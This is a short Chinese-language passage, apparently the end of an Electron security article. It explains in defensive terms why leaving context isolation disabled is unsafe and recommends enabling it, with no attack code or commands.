false但预加载脚本看起来没暴露危险函数是否就安全A不安全。因为共享的全局上下文意味着你的网页JavaScript可以修改任何全局对象。攻击者可能通过原型污染、覆盖内置函数等方式进行利用。只要这个配置存在风险就始终存在。最根本的修复方法就是将其设置为true并重构代码以适应隔离上下文。安全从来不是一劳永逸的事情尤其是对于Electron这样融合了Web和本地特性的技术栈。作为开发者理解其安全模型严格遵守安全配置规范是交付可信赖应用的基础。而作为安全研究者或渗透测试人员掌握这些攻击链的构造方法则能更有效地发现潜在风险推动整体安全水平的提升。在桌面应用的世界里一扇未锁好的“窗户”可能带来的就是整个系统的沦陷。